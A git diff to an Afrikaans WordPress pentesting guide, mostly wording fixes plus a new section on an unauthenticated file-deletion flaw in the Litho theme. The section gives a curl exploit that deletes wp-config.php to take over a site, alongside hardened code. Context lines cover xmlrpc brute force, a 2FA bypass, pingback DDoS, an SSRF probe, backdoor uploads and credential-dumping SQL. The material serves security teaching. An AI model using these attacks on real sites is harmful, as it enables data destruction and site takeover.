diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 16e22d009..ac27c71d5 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -26,11 +26,11 @@ - Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word. - `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai word, gestoor word. - `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets. -- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al openbare plasings en publiek navraagbare plasings tipes en taksonomieë. +- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieë. **Post eksploitatie** -- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing. +- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing. ### Gebruikers Toestemmings @@ -38,7 +38,7 @@ - **Redakteur**: Publiseer en bestuur sy en ander plasings - **Skrywer**: Publiseer en bestuur sy eie plasings - **Bydraer**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie -- **Tekenaar**: Blader deur plasings en wysig hul profiel +- **Tekenaar**: Blaai deur plasings en wysig hul profiel ## **Passiewe Enumerasie** @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins en Temas -Jy sal waarskynlik nie al die moontlike Plugins en Temas kan vind nie. Om al hulle te ontdek, sal jy **aktief 'n lys van Plugins en Temas moet Brute Force** (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat). +Jy sal waarskynlik nie in staat wees om al die moontlike Plugins en Temas te vind nie. Om al hulle te ontdek, sal jy **aktief 'n lys van Plugins en Temas Brute Force** (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat). ### Gebruikers @@ -132,7 +132,7 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ ``` -Die boodskap _"Onkorrekte gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie. +Die boodskap _"Onjuiste gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -174,12 +174,12 @@ Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.mul **Om 2FA te omseil** -Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om met daardie akrediteer in te log en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS of poort skandering** As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrêre versoek na enige gasheer/poort te stuur.\ -Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** te kry (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui). +Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** te verkry (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui). ```html pingback.ping @@ -211,13 +211,13 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\ -Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). +Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF -Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek aan jou maak. +Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek na jou maak. Dit is die antwoord wanneer dit nie werk nie: @@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Kry toegang deur 'n bietjie te oorskryf -Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omdraai. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP. +Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -254,7 +254,7 @@ Verander die inhoud na 'n php shell: ![](<../../images/image (384).png>) -Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -268,7 +268,7 @@ to get a session. ### PHP plugin -Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\ +Dit mag moontlik wees om .php lêers as 'n plugin op te laai.\ Skep jou php backdoor met byvoorbeeld: ![](<../../images/image (183).png>) @@ -281,7 +281,7 @@ Laai die plugin op en druk Installeer Nou: ![](<../../images/image (249).png>) -Klik op Procced: +Klik op Voortgaan: ![](<../../images/image (70).png>) @@ -295,7 +295,7 @@ Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer: ### Uploading and activating malicious plugin -Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en kan benut word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg: +Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg: 1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installasie**: @@ -322,7 +322,7 @@ Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboar ## Post Exploitation -Trek gebruikersname en wagwoorde uit: +Extract usernames and passwords: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -334,11 +334,11 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Aanvaloppervlak -Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit mag blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/). +Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol). +Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, outorisering of verifikasiefoute bevat. Boonop is dit 'n soort van gereeldheid dat hierdie funksies beide die verifikasie en outorisering op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geverifieer is, mag hê** (ongeag sy rol). Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel: ```php @@ -348,11 +348,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).** > [!CAUTION] -> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelogde is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae-bevoegde gebruikers mag toegang hê tot hoë-bevoegde aksies. +> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae bevoorregte gebruikers mag toegang hê tot hoë bevoorregte aksies. - **REST API** -Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die `register_rest_route` funksie: +Dit is ook moontlik om funksies van WordPress bloot te stel deur 'n REST AP te registreer met die `register_rest_route` funksie: ```php register_rest_route( $this->namespace, '/get/', array( @@ -370,6 +370,82 @@ Die `permission_callback` is 'n terugroep funksie wat nagaan of 'n gegewe gebrui Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word. +### Ongeauthentiseerde Willekeurige Lêer Verwydering via wp_ajax_nopriv (Litho Tema <= 3.0) + +WordPress temas en plugins stel dikwels AJAX-handelaars bloot deur die `wp_ajax_` en `wp_ajax_nopriv_` haakies. Wanneer die **_nopriv_** variasie gebruik word **word die terugroep bereikbaar deur ongeauthentiseerde besoekers**, so enige sensitiewe aksie moet addisioneel implementeer: + +1. 'n **kapasiteitskontrole** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en +2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en +3. **Streng invoer sanitisering / validasie**. + +Die Litho multipurpose tema (< 3.1) het daardie 3 kontroles in die *Verwyder Font Family* kenmerk vergeet en het uiteindelik die volgende kode gestuur (vereenvoudig): +```php +function litho_remove_font_family_action_data() { +if ( empty( $_POST['fontfamily'] ) ) { +return; +} +$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); +$upload_dir = wp_upload_dir(); +$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; +$filesystem = Litho_filesystem::init_filesystem(); + +if ( file_exists( $srcdir ) ) { +$filesystem->delete( $srcdir, FS_CHMOD_DIR ); +} +die(); +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +``` +Probleme wat deur hierdie snit ingebring word: + +* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` haak is geregistreer. +* **Geen nonce / vermoë kontrole nie** – enige besoeker kan die eindpunt bereik. +* **Geen pad sanitisering nie** – die gebruiker-beheerde `fontfamily` string word aan 'n lêerstelsel pad gekonkateneer sonder filtrering, wat klassieke `../../` traversie toelaat. + +#### Exploitatie + +'n Aanvaller kan enige lêer of gids **onder die uploads basisgids** (normaalweg `/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur: +```bash +curl -X POST https://victim.com/wp-admin/admin-ajax.php \ +-d 'action=litho_remove_font_family_action_data' \ +-d 'fontfamily=../../../../wp-config.php' +``` +Omdat `wp-config.php` buite *uploads* woon, is vier `../` volgordes genoeg op 'n standaard installasie. Die verwydering van `wp-config.php` dwing WordPress in die *installasiewizard* by die volgende besoek, wat 'n volle webwerf oorneem moontlik maak (die aanvaller verskaf eenvoudig 'n nuwe DB-konfigurasie en skep 'n admin gebruiker). + +Ander impakvolle teikens sluit plugin/tema `.php` lêers in (om sekuriteitsplugins te breek) of `.htaccess` reëls. + +#### Ontdekkingskontrolelys + +* Enige `add_action( 'wp_ajax_nopriv_...')` terugroep wat lêersisteem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.). +* Samevoeging van ongesaniteerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`). +* Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`. + +#### Versterking +```php +function secure_remove_font_family() { +if ( ! is_user_logged_in() ) { +wp_send_json_error( 'forbidden', 403 ); +} +check_ajax_referer( 'litho_fonts_nonce' ); + +$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); +$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; + +if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { +wp_send_json_error( 'invalid path', 400 ); +} +// … proceed … +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); +// 🔒 NO wp_ajax_nopriv_ registration +``` +> [!TIP] +> **Behandel altyd** enige skryf/verwyder operasie op skyf as bevoorreg en dubbelkontroleer: +> • Verifikasie • Magtiging • Nonce • Invoer sanitasie • Pad beperking (bv. via `realpath()` plus `str_starts_with()`). + +--- + ## WordPress Beskerming ### Gereelde Opdaterings @@ -384,9 +460,9 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**. ### Sekuriteitsinproppe -- [**Wordfence Sekuriteit**](https://wordpress.org/plugins/wordfence/) -- [**Sucuri Sekuriteit**](https://wordpress.org/plugins/sucuri-scanner/) -- [**iThemes Sekuriteit**](https://wordpress.org/plugins/better-wp-security/) +- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) +- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) +- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Ander Aanbevelings** @@ -394,6 +470,10 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**. - Gebruik **sterk wagwoorde** en **2FA** - Periodiek **hersien** gebruikers **toestemmings** - **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom -- Hernoem **`wp-admin.php`** lêer en laat slegs toegang intern of vanaf sekere IP-adresse toe. +- Hernoem **`wp-admin.php`** lêer en laat slegs interne toegang toe of vanaf sekere IP-adresse. + +## Verwysings + +- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) {{#include ../../banners/hacktricks-training.md}}